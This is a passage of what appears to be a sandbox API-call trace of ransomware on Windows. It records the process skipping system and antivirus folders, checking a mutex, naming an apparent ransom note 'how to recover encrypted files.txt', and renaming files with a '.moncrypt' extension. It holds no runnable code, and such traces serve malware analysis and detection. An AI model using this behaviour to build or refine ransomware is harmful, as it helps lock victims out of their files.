dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@뱔R企@\x18?T\x18\x88")) returned 0xffffffff [0045.614] GetLastError () returned 0x2 [0045.614] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\") returned 0x33 [0045.614] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0045.614] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\ition\\") returned 6 [0045.614] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Reserv", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@℔R企@\x18?T\x18\x8f")) returned 0xffffffff [0045.614] GetLastError () returned 0x2 [0045.614] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\") returned 0x33 [0045.614] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0045.614] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\ition\\") returned 7 [0045.614] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Restore", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@螬T企@\x18?T\x18\x97")) returned 0xffffffff [0045.615] GetLastError () returned 0x2 [0045.615] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\") returned 0x33 [0045.615] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0045.615] GlobalLock (hMem=0x440004) returned 0x550170 [0045.615] GlobalHandle (pMem=0x550170) returned 0x440004 [0045.615] GlobalUnlock (hMem=0x440004) returned 0 [0045.615] GlobalLock (hMem=0x440004) returned 0x550170 [0045.615] GlobalLock (hMem=0x44000c) returned 0x552180 [0045.615] GlobalHandle (pMem=0x550170) returned 0x440004 [0045.615] GlobalUnlock (hMem=0x440004) returned 0 [0045.615] GlobalHandle (pMem=0x552180) returned 0x44000c [0045.615] GlobalUnlock (hMem=0x44000c) returned 0 [0045.615] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\") returned 0x33 [0045.615] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0045.615] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0045.615] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\") returned 0x33 [0045.615] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0045.615] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 46 [0045.615] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\") returned 0x33 [0045.616] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0045.616] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 15 [0045.616] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\") returned 0x33 [0045.616] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0045.616] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=11, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 11 [0045.616] GlobalLock (hMem=0x44000c) returned 0x550170 [0045.616] GlobalHandle (pMem=0x550170) returned 0x44000c [0045.616] GlobalUnlock (hMem=0x44000c) returned 0 [0045.616] GlobalLock (hMem=0x44000c) returned 0x550170 [0045.616] GlobalLock (hMem=0x440004) returned 0x552180 [0045.616] GlobalHandle (pMem=0x550170) returned 0x44000c [0045.616] GlobalUnlock (hMem=0x44000c) returned 0 [0045.616] GlobalHandle (pMem=0x552180) returned 0x440004 [0045.616] GlobalUnlock (hMem=0x440004) returned 0 [0045.616] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\") returned 0x33 [0045.616] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 15 [0045.616] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\") returned 0x33 [0045.616] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=11, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 11 [0045.616] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\") returned 0x33 [0045.616] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 9 [0045.617] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\") returned 0x33 [0045.617] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 18 [0045.617] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\") returned 0x33 [0045.617] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 28 [0045.617] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\") returned 0x33 [0045.617] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=10, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 10 [0045.617] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\") returned 0x33 [0045.617] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 8 [0045.618] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\") returned 0x33 [0045.618] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 9 [0045.618] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\") returned 0x33 [0045.618] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 13 [0045.618] GlobalLock (hMem=0x440004) returned 0x550170 [0045.618] GlobalHandle (pMem=0x550170) returned 0x440004 [0045.618] GlobalUnlock (hMem=0x440004) returned 0 [0045.618] GlobalLock (hMem=0x440004) returned 0x550170 [0045.618] GlobalLock (hMem=0x44000c) returned 0x552180 [0045.618] GlobalHandle (pMem=0x550170) returned 0x440004 [0045.618] GlobalUnlock (hMem=0x440004) returned 0 [0045.618] GlobalHandle (pMem=0x552180) returned 0x44000c [0045.618] GlobalUnlock (hMem=0x44000c) returned 0 [0045.618] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0045.618] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.618] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2bbccc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c2bbccc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc1486, dwReserved0=0x0, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1 [0045.618] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0045.618] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.618] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.618] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.619] GlobalUnlock (hMem=0x44000c) returned 0 [0045.619] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.619] GlobalLock (hMem=0x440004) returned 0x553188 [0045.619] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.619] GlobalUnlock (hMem=0x44000c) returned 0 [0045.619] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.619] GlobalUnlock (hMem=0x440004) returned 0 [0045.619] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.619] CharLowerBuffW (in: lpsz="Alphabet.xml", cchLength=0xc | out: lpsz="alphabet.xml") returned 0xc [0045.619] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.619] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.619] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.619] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0045.619] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.619] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.619] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.619] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.619] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.619] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.619] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.619] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.619] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0045.619] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml", lpUsedDefaultChar=0x0) returned 63 [0045.619] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0045.619] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\ink\\Alphabet.xml", lpUsedDefaultChar=0x0) returned 4 [0045.620] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0045.620] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d28*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ed70, lpOverlapped=0x0 | out: lpBuffer=0x1e61d28*, lpNumberOfBytesWritten=0x18ed70*=0x1, lpOverlapped=0x0) returned 1 [0045.621] CloseHandle (hObject=0x188) returned 1 [0045.621] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\я")) returned 1 [0045.622] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2bbccc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c2bbccc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc1486, dwReserved0=0x0, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 0x54e200 [0045.622] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0045.622] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0045.622] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0045.622] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml", dwFileAttributes=0x20) returned 0 [0045.638] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0045.638] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.moncrypt")) returned 0 [0045.638] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-SA", cAlternateFileName="")) returned 1 [0045.639] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0045.639] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90daefa5, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x90daefa5, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0045.639] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.639] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.639] GlobalLock (hMem=0x440004) returned 0x551178 [0045.639] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.639] GlobalUnlock (hMem=0x440004) returned 0 [0045.639] GlobalLock (hMem=0x440004) returned 0x551178 [0045.639] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.639] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.639] GlobalUnlock (hMem=0x440004) returned 0 [0045.639] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.639] GlobalUnlock (hMem=0x44000c) returned 0 [0045.639] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.639] CharLowerBuffW (in: lpsz="Content.xml", cchLength=0xb | out: lpsz="content.xml") returned 0xb [0045.639] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.639] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.639] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.639] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0045.639] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.639] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0045.639] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.639] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.639] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0045.639] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.639] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 